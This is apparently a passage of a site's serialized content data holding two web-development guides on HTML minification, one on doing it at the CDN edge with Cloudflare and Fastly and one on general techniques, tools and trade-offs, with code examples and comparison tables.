development.",{"immutable":363},{"title":122655,"description":123696},"guides\u002Fhtml-entity-reference","mHniNPTxYfuFafTWQ64NFKfBMcZwZ8wZHk0QANRhdng",{"id":123702,"title":123703,"body":123704,"date":2070,"description":124188,"extension":361,"meta":124189,"navigation":363,"path":124190,"readingTime":1710,"seo":124191,"stem":124192,"__hash__":124193},"guides\u002Fguides\u002Fhtml-minification-cdn.md","HTML Minification via CDN",{"type":8,"value":123705,"toc":124181},[123706,123709,123713,123716,123733,123736,123740,123743,123749,123754,123803,123806,123834,123844,123851,123999,124003,124006,124041,124044,124047,124051,124145,124149,124156,124167,124170,124178],[16,123707,123708],{},"Minifying HTML at the origin server adds processing latency to every request. For dynamic applications where response time directly impacts user experience and conversion rates, origin-side minification can become a bottleneck under high load. Content Delivery Networks solve this by moving minification to the edge—processing HTML responses at nodes geographically close to users, without touching your origin infrastructure.",[11,123710,123712],{"id":123711},"how-edge-minification-works","How Edge Minification Works",[16,123714,123715],{},"When a CDN sits between your origin server and the client, it can intercept the HTML response and transform it before forwarding it to the browser. The flow is:",[77,123717,123718,123721,123724,123727,123730],{},[44,123719,123720],{},"The client requests a page.",[44,123722,123723],{},"The CDN checks its cache. If the page is cached and fresh, it serves the cached (already minified) copy.",[44,123725,123726],{},"If not cached, the CDN forwards the request to the origin.",[44,123728,123729],{},"The origin returns the full, unminified HTML.",[44,123731,123732],{},"The CDN minifies the HTML, stores the minified version in cache, and sends it to the client.",[16,123734,123735],{},"This architecture means minification overhead occurs only on cache misses. Subsequent requests for the same page serve the cached, minified version instantly. Since cache hit rates for most websites exceed 90%, the real-time minification cost applies to a small fraction of traffic.",[11,123737,123739],{"id":123738},"cloudflare-auto-minify","Cloudflare Auto Minify",[16,123741,123742],{},"Cloudflare offers built-in HTML minification that requires zero code changes. You enable it through the dashboard or API:",[16,123744,123745,123748],{},[47,123746,123747],{},"Dashboard:"," Speed → Optimization → Auto Minify → check HTML → Save.",[16,123750,123751],{},[47,123752,123753],{},"API:",[135,123755,123757],{"className":6951,"code":123756,"language":6953,"meta":141,"style":141},"curl -X PATCH \"https:\u002F\u002Fapi.cloudflare.com\u002Fclient\u002Fv4\u002Fzones\u002F{zone_id}\u002Fsettings\u002Fminify\" \\\n  -H \"Authorization: Bearer {api_token}\" \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"value\":{\"html\":\"on\",\"css\":\"on\",\"js\":\"on\"}}'\n",[143,123758,123759,123776,123786,123795],{"__ignoreMap":141},[1560,123760,123761,123764,123767,123770,123773],{"class":1562,"line":1563},[1560,123762,123763],{"class":1566},"curl",[1560,123765,123766],{"class":1576}," -X",[1560,123768,123769],{"class":5634}," PATCH",[1560,123771,123772],{"class":5634}," \"https:\u002F\u002Fapi.cloudflare.com\u002Fclient\u002Fv4\u002Fzones\u002F{zone_id}\u002Fsettings\u002Fminify\"",[1560,123774,123775],{"class":1576}," \\\n",[1560,123777,123778,123781,123784],{"class":1562,"line":337},[1560,123779,123780],{"class":1576},"  -H",[1560,123782,123783],{"class":5634}," \"Authorization: Bearer {api_token}\"",[1560,123785,123775],{"class":1576},[1560,123787,123788,123790,123793],{"class":1562,"line":343},[1560,123789,123780],{"class":1576},[1560,123791,123792],{"class":5634}," \"Content-Type: application\u002Fjson\"",[1560,123794,123775],{"class":1576},[1560,123796,123797,123800],{"class":1562,"line":365},[1560,123798,123799],{"class":1576},"  -d",[1560,123801,123802],{"class":5634}," '{\"value\":{\"html\":\"on\",\"css\":\"on\",\"js\":\"on\"}}'\n",[16,123804,123805],{},"Cloudflare's Auto Minify performs these transformations:",[41,123807,123808,123811,123814,123817,123826],{},[44,123809,123810],{},"Removes HTML comments (excluding conditional IE comments)",[44,123812,123813],{},"Collapses whitespace between tags",[44,123815,123816],{},"Removes unnecessary quotes from attributes",[44,123818,123819,123820,1459,123823,1525],{},"Removes optional closing tags (e.g., ",[143,123821,123822],{},"\u003C\u002Fli>",[143,123824,123825],{},"\u003C\u002Fp>",[44,123827,123828,123829,1856,123831,123833],{},"Minifies inline ",[143,123830,41299],{},[143,123832,34727],{}," blocks",[16,123835,123836,123837,1531,123840,123843],{},"One limitation: Cloudflare Auto Minify does not remove ",[143,123838,123839],{},"type=\"text\u002Fjavascript\"",[143,123841,123842],{},"type=\"text\u002Fcss\""," attributes because some applications depend on them for content negotiation.",[16,123845,123846,123847,123850],{},"For more granular control, Cloudflare Workers let you write custom minification logic. You can use the ",[143,123848,123849],{},"htmlRewriter"," API to stream-transform HTML without buffering the entire response:",[135,123852,123854],{"className":1607,"code":123853,"language":1609,"meta":141,"style":141},"export default {\n  async fetch(request) {\n    const response = await fetch(request)\n    return new HTMLRewriter()\n      .on('*', {\n        element(el) {\n          \u002F\u002F Custom minification logic\n          el.removeAttribute('data-debug')\n        },\n        comments(comment) {\n          comment.remove()\n        },\n      })\n      .transform(response)\n  },\n}\n",[143,123855,123856,123864,123877,123892,123903,123917,123928,123933,123948,123952,123964,123974,123978,123982,123991,123995],{"__ignoreMap":141},[1560,123857,123858,123860,123862],{"class":1562,"line":1563},[1560,123859,9187],{"class":1669},[1560,123861,11837],{"class":1669},[1560,123863,1571],{"class":1570},[1560,123865,123866,123869,123871,123873,123875],{"class":1562,"line":337},[1560,123867,123868],{"class":1669},"  async",[1560,123870,82254],{"class":1566},[1560,123872,1688],{"class":1570},[1560,123874,95574],{"class":2219},[1560,123876,9345],{"class":1570},[1560,123878,123879,123881,123883,123885,123887,123889],{"class":1562,"line":343},[1560,123880,9385],{"class":1669},[1560,123882,82247],{"class":1576},[1560,123884,8186],{"class":1669},[1560,123886,28065],{"class":1669},[1560,123888,82254],{"class":1566},[1560,123890,123891],{"class":1570},"(request)\n",[1560,123893,123894,123896,123898,123901],{"class":1562,"line":365},[1560,123895,9434],{"class":1669},[1560,123897,11489],{"class":1669},[1560,123899,123900],{"class":1566}," HTMLRewriter",[1560,123902,27830],{"class":1570},[1560,123904,123905,123908,123910,123912,123915],{"class":1562,"line":889},[1560,123906,123907],{"class":1570},"      .",[1560,123909,86828],{"class":1566},[1560,123911,1688],{"class":1570},[1560,123913,123914],{"class":5634},"'*'",[1560,123916,49495],{"class":1570},[1560,123918,123919,123922,123924,123926],{"class":1562,"line":1710},[1560,123920,123921],{"class":1566},"        element",[1560,123923,1688],{"class":1570},[1560,123925,11658],{"class":2219},[1560,123927,9345],{"class":1570},[1560,123929,123930],{"class":1562,"line":1717},[1560,123931,123932],{"class":1649},"          \u002F\u002F Custom minification logic\n",[1560,123934,123935,123938,123941,123943,123946],{"class":1562,"line":1747},[1560,123936,123937],{"class":1570},"          el.",[1560,123939,123940],{"class":1566},"removeAttribute",[1560,123942,1688],{"class":1570},[1560,123944,123945],{"class":5634},"'data-debug'",[1560,123947,8252],{"class":1570},[1560,123949,123950],{"class":1562,"line":2507},[1560,123951,20786],{"class":1570},[1560,123953,123954,123957,123959,123962],{"class":1562,"line":2524},[1560,123955,123956],{"class":1566},"        comments",[1560,123958,1688],{"class":1570},[1560,123960,123961],{"class":2219},"comment",[1560,123963,9345],{"class":1570},[1560,123965,123966,123969,123972],{"class":1562,"line":2529},[1560,123967,123968],{"class":1570},"          comment.",[1560,123970,123971],{"class":1566},"remove",[1560,123973,27830],{"class":1570},[1560,123975,123976],{"class":1562,"line":2534},[1560,123977,20786],{"class":1570},[1560,123979,123980],{"class":1562,"line":2542},[1560,123981,50044],{"class":1570},[1560,123983,123984,123986,123988],{"class":1562,"line":2558},[1560,123985,123907],{"class":1570},[1560,123987,1514],{"class":1566},[1560,123989,123990],{"class":1570},"(response)\n",[1560,123992,123993],{"class":1562,"line":2570},[1560,123994,11862],{"class":1570},[1560,123996,123997],{"class":1562,"line":6638},[1560,123998,1585],{"class":1570},[11,124000,124002],{"id":124001},"fastly-edge-logic","Fastly Edge Logic",[16,124004,124005],{},"Fastly provides HTML minification through its Varnish Configuration Language (VCL) and the Fanout\u002FEdge Logic capabilities. A basic VCL snippet to strip comments and collapse whitespace:",[135,124007,124011],{"className":124008,"code":124009,"language":124010,"meta":141,"style":141},"language-vcl shiki shiki-themes github-light github-dark","sub vcl_deliver {\n  if (resp.http.Content-Type ~ \"text\u002Fhtml\") {\n    set resp.http.X-Fastly-Minified = \"true\";\n    \u002F* Fastly's built-in minify via ImageOpto or custom VCL *\u002F\n  }\n}\n","vcl",[143,124012,124013,124018,124023,124028,124033,124037],{"__ignoreMap":141},[1560,124014,124015],{"class":1562,"line":1563},[1560,124016,124017],{},"sub vcl_deliver {\n",[1560,124019,124020],{"class":1562,"line":337},[1560,124021,124022],{},"  if (resp.http.Content-Type ~ \"text\u002Fhtml\") {\n",[1560,124024,124025],{"class":1562,"line":343},[1560,124026,124027],{},"    set resp.http.X-Fastly-Minified = \"true\";\n",[1560,124029,124030],{"class":1562,"line":365},[1560,124031,124032],{},"    \u002F* Fastly's built-in minify via ImageOpto or custom VCL *\u002F\n",[1560,124034,124035],{"class":1562,"line":889},[1560,124036,4959],{},[1560,124038,124039],{"class":1562,"line":1710},[1560,124040,1585],{},[16,124042,124043],{},"For production use, Fastly recommends using their Compute@Edge platform with Wasm-based minification. This approach processes HTML at the edge with near-native performance and gives you full control over the minification rules.",[16,124045,124046],{},"Fastly's edge computing model processes HTML as a stream, meaning memory usage stays constant regardless of page size. This is a significant advantage over origin-side minification tools that must buffer the entire document.",[11,124048,124050],{"id":124049},"comparative-overview","Comparative Overview",[193,124052,124053,124067],{},[196,124054,124055],{},[199,124056,124057,124059,124061,124064],{},[202,124058,5867],{},[202,124060,123739],{},[202,124062,124063],{},"Cloudflare Workers",[202,124065,124066],{},"Fastly Compute@Edge",[211,124068,124069,124083,124094,124108,124121,124134],{},[199,124070,124071,124074,124077,124080],{},[216,124072,124073],{},"Setup complexity",[216,124075,124076],{},"Click to enable",[216,124078,124079],{},"Write Worker code",[216,124081,124082],{},"Write Wasm module",[199,124084,124085,124088,124090,124092],{},[216,124086,124087],{},"Customization",[216,124089,22317],{},[216,124091,55046],{},[216,124093,55046],{},[199,124095,124096,124099,124102,124105],{},[216,124097,124098],{},"Streaming support",[216,124100,124101],{},"Yes (internal)",[216,124103,124104],{},"Yes (HTMLRewriter)",[216,124106,124107],{},"Yes (native)",[199,124109,124110,124113,124116,124119],{},[216,124111,124112],{},"CSS\u002FJS minification",[216,124114,124115],{},"Included",[216,124117,124118],{},"Manual",[216,124120,124118],{},[199,124122,124123,124125,124128,124131],{},[216,124124,16397],{},[216,124126,124127],{},"Free on all plans",[216,124129,124130],{},"Paid (Workers)",[216,124132,124133],{},"Paid (Compute)",[199,124135,124136,124139,124141,124143],{},[216,124137,124138],{},"Cache integration",[216,124140,109760],{},[216,124142,124118],{},[216,124144,109760],{},[11,124146,124148],{"id":124147},"considerations-and-caveats","Considerations and Caveats",[16,124150,124151,124152,124155],{},"Edge minification interacts with caching in ways that can surprise you. If your origin sends ",[143,124153,124154],{},"Vary: Accept-Encoding"," headers, the CDN may store differently compressed variants. Ensure your minification configuration is consistent across all edges to avoid serving different HTML to different users.",[16,124157,124158,124159,1459,124161,1877,124164,124166],{},"Some HTML should never be minified. Pages containing ",[143,124160,7479],{},[143,124162,124163],{},"\u003Ccode>",[143,124165,34730],{}," elements rely on whitespace preservation. Most minifiers handle these correctly, but verify with your CDN provider if you serve code-heavy content like documentation or technical articles.",[16,124168,124169],{},"Finally, edge minification makes debugging harder since the HTML served to the browser differs from what your origin produces. Use cache purge APIs to temporarily disable minification during debugging sessions.",[16,124171,124172,124173,124177],{},"To preview how minification affects your HTML, the ",[98,124174,124176],{"href":124175},"\u002Ftools\u002Fhtml-minifier","HTML Minifier tool"," lets you compare original and minified output side by side.",[2043,124179,124180],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":124182},[124183,124184,124185,124186,124187],{"id":123711,"depth":337,"text":123712},{"id":123738,"depth":337,"text":123739},{"id":124001,"depth":337,"text":124002},{"id":124049,"depth":337,"text":124050},{"id":124147,"depth":337,"text":124148},"Using Cloudflare, Fastly, and other CDNs to minify HTML on the fly at the edge.",{},"\u002Fguides\u002Fhtml-minification-cdn",{"title":123703,"description":124188},"guides\u002Fhtml-minification-cdn","pvOKVpoNP0FNOZLoGCr-flhaLxjHRXOBvmC3Z0LY99Y",{"id":124195,"title":124196,"body":124197,"date":2070,"description":125107,"extension":361,"meta":125108,"navigation":363,"path":50523,"readingTime":1717,"seo":125109,"stem":125110,"__hash__":125111},"guides\u002Fguides\u002Fhtml-minification-guide.md","HTML Minification: Reducing Page Size for Faster Loading",{"type":8,"value":124198,"toc":125093},[124199,124203,124206,124209,124213,124216,124278,124281,124285,124601,124604,124608,124611,124690,124693,124697,124700,124703,124717,124728,124732,124735,124792,124795,124799,124802,124845,124848,124852,124899,124902,124906,124909,124934,125034,125036,125061,125063,125081,125083,125090],[11,124200,124202],{"id":124201},"what-is-html-minification","What Is HTML Minification?",[16,124204,124205],{},"HTML minification strips unnecessary characters from your HTML without changing how the browser renders it. whitespace, comments, optional closing tags, and redundant attributes all disappear — leaving a smaller file that downloads and parses faster.",[16,124207,124208],{},"A minified HTML file can be 15–35% smaller than its original. For a 100 KB page, that translates to meaningful savings on slow connections and for search engine crawlers that penalize bloated markup.",[11,124210,124212],{"id":124211},"what-gets-removed","What Gets Removed",[16,124214,124215],{},"Minification targets characters that humans need but browsers ignore:",[41,124217,124218,124223,124231,124245,124257,124268],{},[44,124219,124220,124222],{},[47,124221,69399],{}," — spaces, tabs, and line breaks between tags",[44,124224,124225,23567,124227,124230],{},[47,124226,36954],{},[143,124228,124229],{},"\u003C!-- developer notes -->"," that never reach the screen",[44,124232,124233,124236,124237,1459,124239,1459,124241,124244],{},[47,124234,124235],{},"Optional tags"," — closing ",[143,124238,123822],{},[143,124240,123825],{},[143,124242,124243],{},"\u003C\u002Ftd>"," that HTML5 permits you to omit",[44,124246,124247,124250,124251,55616,124254],{},[47,124248,124249],{},"Optional quotes"," — attribute values like ",[143,124252,124253],{},"type=text",[143,124255,124256],{},"type=\"text\"",[44,124258,124259,23567,124262,55616,124265],{},[47,124260,124261],{},"Boolean attributes",[143,124263,124264],{},"disabled",[143,124266,124267],{},"disabled=\"disabled\"",[44,124269,124270,23567,124273,44235,124275,124277],{},[47,124271,124272],{},"Redundant attributes",[143,124274,123839],{},[143,124276,34727],{}," tags",[16,124279,124280],{},"The browser renders the minified output identically to the original. No visual difference. No functional difference. Just fewer bytes on the wire.",[11,124282,124284],{"id":124283},"before-and-after-example","Before and After Example",[135,124286,124288],{"className":6417,"code":124287,"language":6419,"meta":141,"style":141},"\u003C!-- BEFORE: 347 bytes -->\n\u003C!DOCTYPE html>\n\u003Chtml lang=\"en\">\n  \u003Chead>\n    \u003Cmeta charset=\"UTF-8\" \u002F>\n    \u003Ctitle>My Page\u003C\u002Ftitle>\n    \u003C!-- Stylesheet -->\n    \u003Clink rel=\"stylesheet\" href=\"style.css\" \u002F>\n  \u003C\u002Fhead>\n  \u003Cbody>\n    \u003Ch1>Hello World\u003C\u002Fh1>\n    \u003Cp>This is a paragraph.\u003C\u002Fp>\n    \u003Cul>\n      \u003Cli>Item one\u003C\u002Fli>\n      \u003Cli>Item two\u003C\u002Fli>\n    \u003C\u002Ful>\n  \u003C\u002Fbody>\n\u003C\u002Fhtml>\n\n\u003C!-- AFTER: 189 bytes (45% smaller) -->\n\u003C!DOCTYPE html>\u003Chtml lang=en>\u003Chead>\u003Cmeta charset=UTF-8>\u003Ctitle>My Page\u003C\u002Ftitle>\u003Clink rel=stylesheet href=style.css>\u003C\u002Fhead>\u003Cbody>\u003Ch1>Hello World\u003C\u002Fh1>\u003Cp>This is a paragraph.\u003C\u002Fp>\u003Cul>\u003Cli>Item one\u003Cli>Item two\u003C\u002Ful>\u003C\u002Fbody>\u003C\u002Fhtml>\n",[143,124289,124290,124295,124305,124319,124327,124342,124354,124359,124380,124388,124396,124409,124422,124430,124444,124457,124466,124474,124482,124486,124491],{"__ignoreMap":141},[1560,124291,124292],{"class":1562,"line":1563},[1560,124293,124294],{"class":1649},"\u003C!-- BEFORE: 347 bytes -->\n",[1560,124296,124297,124299,124301,124303],{"class":1562,"line":337},[1560,124298,108789],{"class":1570},[1560,124300,108792],{"class":2484},[1560,124302,108795],{"class":1566},[1560,124304,6441],{"class":1570},[1560,124306,124307,124309,124311,124313,124315,124317],{"class":1562,"line":343},[1560,124308,6431],{"class":1570},[1560,124310,6419],{"class":2484},[1560,124312,17372],{"class":1566},[1560,124314,7297],{"class":1570},[1560,124316,108810],{"class":5634},[1560,124318,6441],{"class":1570},[1560,124320,124321,124323,124325],{"class":1562,"line":365},[1560,124322,11223],{"class":1570},[1560,124324,40984],{"class":2484},[1560,124326,6441],{"class":1570},[1560,124328,124329,124331,124333,124335,124337,124339],{"class":1562,"line":889},[1560,124330,12292],{"class":1570},[1560,124332,108827],{"class":2484},[1560,124334,108830],{"class":1566},[1560,124336,7297],{"class":1570},[1560,124338,108835],{"class":5634},[1560,124340,124341],{"class":1570}," \u002F>\n",[1560,124343,124344,124346,124348,124350,124352],{"class":1562,"line":1710},[1560,124345,12292],{"class":1570},[1560,124347,108868],{"class":2484},[1560,124349,117406],{"class":1570},[1560,124351,108868],{"class":2484},[1560,124353,6441],{"class":1570},[1560,124355,124356],{"class":1562,"line":1717},[1560,124357,124358],{"class":1649},"    \u003C!-- Stylesheet -->\n",[1560,124360,124361,124363,124365,124367,124369,124371,124373,124375,124378],{"class":1562,"line":1747},[1560,124362,12292],{"class":1570},[1560,124364,40993],{"class":2484},[1560,124366,40996],{"class":1566},[1560,124368,7297],{"class":1570},[1560,124370,41001],{"class":5634},[1560,124372,41004],{"class":1566},[1560,124374,7297],{"class":1570},[1560,124376,124377],{"class":5634},"\"style.css\"",[1560,124379,124341],{"class":1570},[1560,124381,124382,124384,124386],{"class":1562,"line":2507},[1560,124383,12331],{"class":1570},[1560,124385,40984],{"class":2484},[1560,124387,6441],{"class":1570},[1560,124389,124390,124392,124394],{"class":1562,"line":2524},[1560,124391,11223],{"class":1570},[1560,124393,2485],{"class":2484},[1560,124395,6441],{"class":1570},[1560,124397,124398,124400,124402,124405,124407],{"class":1562,"line":2529},[1560,124399,12292],{"class":1570},[1560,124401,41446],{"class":2484},[1560,124403,124404],{"class":1570},">Hello World\u003C\u002F",[1560,124406,41446],{"class":2484},[1560,124408,6441],{"class":1570},[1560,124410,124411,124413,124415,124418,124420],{"class":1562,"line":2534},[1560,124412,12292],{"class":1570},[1560,124414,16],{"class":2484},[1560,124416,124417],{"class":1570},">This is a paragraph.\u003C\u002F",[1560,124419,16],{"class":2484},[1560,124421,6441],{"class":1570},[1560,124423,124424,124426,124428],{"class":1562,"line":2542},[1560,124425,12292],{"class":1570},[1560,124427,41],{"class":2484},[1560,124429,6441],{"class":1570},[1560,124431,124432,124435,124437,124440,124442],{"class":1562,"line":2558},[1560,124433,124434],{"class":1570},"      \u003C",[1560,124436,44],{"class":2484},[1560,124438,124439],{"class":1570},">Item one\u003C\u002F",[1560,124441,44],{"class":2484},[1560,124443,6441],{"class":1570},[1560,124445,124446,124448,124450,124453,124455],{"class":1562,"line":2570},[1560,124447,124434],{"class":1570},[1560,124449,44],{"class":2484},[1560,124451,124452],{"class":1570},">Item two\u003C\u002F",[1560,124454,44],{"class":2484},[1560,124456,6441],{"class":1570},[1560,124458,124459,124462,124464],{"class":1562,"line":6638},[1560,124460,124461],{"class":1570},"    \u003C\u002F",[1560,124463,41],{"class":2484},[1560,124465,6441],{"class":1570},[1560,124467,124468,124470,124472],{"class":1562,"line":11615},[1560,124469,12331],{"class":1570},[1560,124471,2485],{"class":2484},[1560,124473,6441],{"class":1570},[1560,124475,124476,124478,124480],{"class":1562,"line":11621},[1560,124477,11242],{"class":1570},[1560,124479,6419],{"class":2484},[1560,124481,6441],{"class":1570},[1560,124483,124484],{"class":1562,"line":11633},[1560,124485,1702],{"emptyLinePlaceholder":363},[1560,124487,124488],{"class":1562,"line":11638},[1560,124489,124490],{"class":1649},"\u003C!-- AFTER: 189 bytes (45% smaller) -->\n",[1560,124492,124493,124495,124497,124499,124501,124503,124505,124507,124510,124512,124514,124516,124518,124520,124522,124525,124527,124529,124531,124533,124535,124537,124539,124541,124543,124545,124547,124550,124552,124554,124556,124558,124560,124562,124564,124566,124568,124570,124572,124574,124576,124578,124580,124582,124585,124587,124589,124591,124593,124595,124597,124599],{"class":1562,"line":11672},[1560,124494,108789],{"class":1570},[1560,124496,108792],{"class":2484},[1560,124498,108795],{"class":1566},[1560,124500,41257],{"class":1570},[1560,124502,6419],{"class":2484},[1560,124504,17372],{"class":1566},[1560,124506,7297],{"class":1570},[1560,124508,124509],{"class":5634},"en",[1560,124511,41257],{"class":1570},[1560,124513,40984],{"class":2484},[1560,124515,41257],{"class":1570},[1560,124517,108827],{"class":2484},[1560,124519,108830],{"class":1566},[1560,124521,7297],{"class":1570},[1560,124523,124524],{"class":5634},"UTF-8",[1560,124526,41257],{"class":1570},[1560,124528,108868],{"class":2484},[1560,124530,117406],{"class":1570},[1560,124532,108868],{"class":2484},[1560,124534,41257],{"class":1570},[1560,124536,40993],{"class":2484},[1560,124538,40996],{"class":1566},[1560,124540,7297],{"class":1570},[1560,124542,54116],{"class":5634},[1560,124544,41004],{"class":1566},[1560,124546,7297],{"class":1570},[1560,124548,124549],{"class":5634},"style.css",[1560,124551,12441],{"class":1570},[1560,124553,40984],{"class":2484},[1560,124555,41257],{"class":1570},[1560,124557,2485],{"class":2484},[1560,124559,41257],{"class":1570},[1560,124561,41446],{"class":2484},[1560,124563,124404],{"class":1570},[1560,124565,41446],{"class":2484},[1560,124567,41257],{"class":1570},[1560,124569,16],{"class":2484},[1560,124571,124417],{"class":1570},[1560,124573,16],{"class":2484},[1560,124575,41257],{"class":1570},[1560,124577,41],{"class":2484},[1560,124579,41257],{"class":1570},[1560,124581,44],{"class":2484},[1560,124583,124584],{"class":1570},">Item one\u003C",[1560,124586,44],{"class":2484},[1560,124588,124452],{"class":1570},[1560,124590,41],{"class":2484},[1560,124592,12441],{"class":1570},[1560,124594,2485],{"class":2484},[1560,124596,12441],{"class":1570},[1560,124598,6419],{"class":2484},[1560,124600,6441],{"class":1570},[16,124602,124603],{},"Both versions produce the exact same page. The minified version just arrives faster.",[11,124605,124607],{"id":124606},"html-vs-css-vs-js-minification","HTML vs CSS vs JS Minification",[16,124609,124610],{},"Each front-end language has its own minification characteristics:",[193,124612,124613,124626],{},[196,124614,124615],{},[199,124616,124617,124619,124622,124624],{},[202,124618,13104],{},[202,124620,124621],{},"HTML",[202,124623,104808],{},[202,124625,9860],{},[211,124627,124628,124640,124652,124663,124676],{},[199,124629,124630,124633,124635,124637],{},[216,124631,124632],{},"Typical savings",[216,124634,21806],{},[216,124636,21790],{},[216,124638,124639],{},"30–60%",[199,124641,124642,124645,124647,124649],{},[216,124643,124644],{},"Risk level",[216,124646,15466],{},[216,124648,15466],{},[216,124650,124651],{},"Medium (logic changes)",[199,124653,124654,124657,124659,124661],{},[216,124655,124656],{},"Tool maturity",[216,124658,15457],{},[216,124660,15446],{},[216,124662,15446],{},[199,124664,124665,124668,124671,124674],{},[216,124666,124667],{},"Source map support",[216,124669,124670],{},"Rare",[216,124672,124673],{},"Common",[216,124675,103329],{},[199,124677,124678,124681,124684,124687],{},[216,124679,124680],{},"Main targets",[216,124682,124683],{},"Whitespace, comments, optional tags",[216,124685,124686],{},"Whitespace, comments, duplicate rules",[216,124688,124689],{},"Whitespace, comments, dead code, variable names",[16,124691,124692],{},"JavaScript minification yields the highest savings but carries the most risk because it shortens variable names and removes unreachable code. HTML minification is the safest — it only removes purely decorative characters.",[11,124694,124696],{"id":124695},"server-side-rendering-and-html-minification","Server-Side Rendering and HTML Minification",[16,124698,124699],{},"If you use SSR (Nuxt, Next.js, SvelteKit), your server generates HTML on every request. That HTML often arrives with indentation and whitespace because templates prioritize readability.",[16,124701,124702],{},"Minifying SSR output gives you two benefits:",[77,124704,124705,124711],{},[44,124706,124707,124710],{},[47,124708,124709],{},"Smaller response body"," — Less data travels from server to client",[44,124712,124713,124716],{},[47,124714,124715],{},"Faster Time to First Byte (TTFB)"," — The server spends marginally less time serializing the response",[16,124718,124719,124720,124723,124724,124727],{},"Most frameworks support HTML minification through middleware or build plugins. In Nuxt, you can configure ",[143,124721,124722],{},"html-minifier-terser"," in your server middleware. In Express, the ",[143,124725,124726],{},"shrink-ray-current"," package handles compression and minification together.",[11,124729,124731],{"id":124730},"cdn-auto-minification","CDN Auto-Minification",[16,124733,124734],{},"Some CDNs automatically minify HTML on the fly:",[193,124736,124737,124749],{},[196,124738,124739],{},[199,124740,124741,124744,124747],{},[202,124742,124743],{},"CDN",[202,124745,124746],{},"Auto-Minify HTML",[202,124748,2683],{},[211,124750,124751,124761,124772,124782],{},[199,124752,124753,124756,124758],{},[216,124754,124755],{},"Cloudflare",[216,124757,3057],{},[216,124759,124760],{},"Toggle in Speed settings",[199,124762,124763,124766,124769],{},[216,124764,124765],{},"Fastly",[216,124767,124768],{},"Via custom VCL",[216,124770,124771],{},"Requires configuration",[199,124773,124774,124777,124779],{},[216,124775,124776],{},"AWS CloudFront",[216,124778,6117],{},[216,124780,124781],{},"Use Lambda@Edge",[199,124783,124784,124787,124789],{},[216,124785,124786],{},"Akamai",[216,124788,3057],{},[216,124790,124791],{},"Enable in property manager",[16,124793,124794],{},"CDN auto-minification sounds convenient, but it adds processing latency at the edge. Pre-minifying at build time is generally faster because the CDN serves a static file with zero transformation overhead.",[11,124796,124798],{"id":124797},"when-minification-can-break-things","When Minification Can Break Things",[16,124800,124801],{},"Minification is safe in most cases, but watch for these edge cases:",[41,124803,124804,124813,124822,124832],{},[44,124805,124806,124812],{},[47,124807,124808,1856,124810,123833],{},[143,124809,7479],{},[143,124811,124163],{}," — Whitespace inside these tags is meaningful. Minifiers must skip them.",[44,124814,124815,124818,124819,124821],{},[47,124816,124817],{},"Inline JavaScript"," — Minifying HTML can accidentally collapse whitespace inside ",[143,124820,34727],{}," tags that rely on line breaks.",[44,124823,124824,124827,124828,124831],{},[47,124825,124826],{},"Conditional comments"," — Legacy IE conditional comments (",[143,124829,124830],{},"\u003C!--[if IE]>",") need special handling.",[44,124833,124834,124837,124838,124840,124841,124844],{},[47,124835,124836],{},"Template syntax"," — Vue ",[143,124839,116782],{}," or Twig ",[143,124842,124843],{},"{% %}"," inside HTML attributes can break if the minifier reorders or removes quotes.",[16,124846,124847],{},"Always test minified output against your full test suite before deploying to production.",[11,124849,124851],{"id":124850},"build-time-vs-runtime-minification","Build-Time vs Runtime Minification",[193,124853,124854,124864],{},[196,124855,124856],{},[199,124857,124858,124860,124862],{},[202,124859,81881],{},[202,124861,7444],{},[202,124863,7447],{},[211,124865,124866,124877,124888],{},[199,124867,124868,124871,124874],{},[216,124869,124870],{},"Build-time",[216,124872,124873],{},"Zero runtime cost, catches errors early",[216,124875,124876],{},"Must rebuild after changes",[199,124878,124879,124882,124885],{},[216,124880,124881],{},"Runtime (CDN\u002Fmiddleware)",[216,124883,124884],{},"Always up to date, no build step",[216,124886,124887],{},"Added latency, harder to debug",[199,124889,124890,124893,124896],{},[216,124891,124892],{},"Hybrid",[216,124894,124895],{},"Best of both — minify at build, CDN caches result",[216,124897,124898],{},"More complexity",[16,124900,124901],{},"For static sites and SSG deployments, build-time minification is the clear winner. You ship the smallest possible files with no server overhead.",[11,124903,124905],{"id":124904},"how-to-minify-html","How to Minify HTML",[16,124907,124908],{},"Popular tools for HTML minification:",[41,124910,124911,124916,124922,124928],{},[44,124912,124913,124915],{},[47,124914,124722],{}," — Node.js library with extensive options",[44,124917,124918,124921],{},[47,124919,124920],{},"PostHTML"," — Plugin-based HTML processor with minification plugins",[44,124923,124924,124927],{},[47,124925,124926],{},"Vite plugin html-minifier"," — Integrates with Vite\u002FNuxt builds",[44,124929,124930,124933],{},[47,124931,124932],{},"Gulp htmlmin"," — For Gulp-based build pipelines",[135,124935,124937],{"className":1607,"code":124936,"language":1609,"meta":141,"style":141},"\u002F\u002F Example: html-minifier-terser\nconst { minify } = require('html-minifier-terser')\n\nconst result = await minify(html, {\n  collapseWhitespace: true,\n  removeComments: true,\n  removeOptionalTags: true,\n  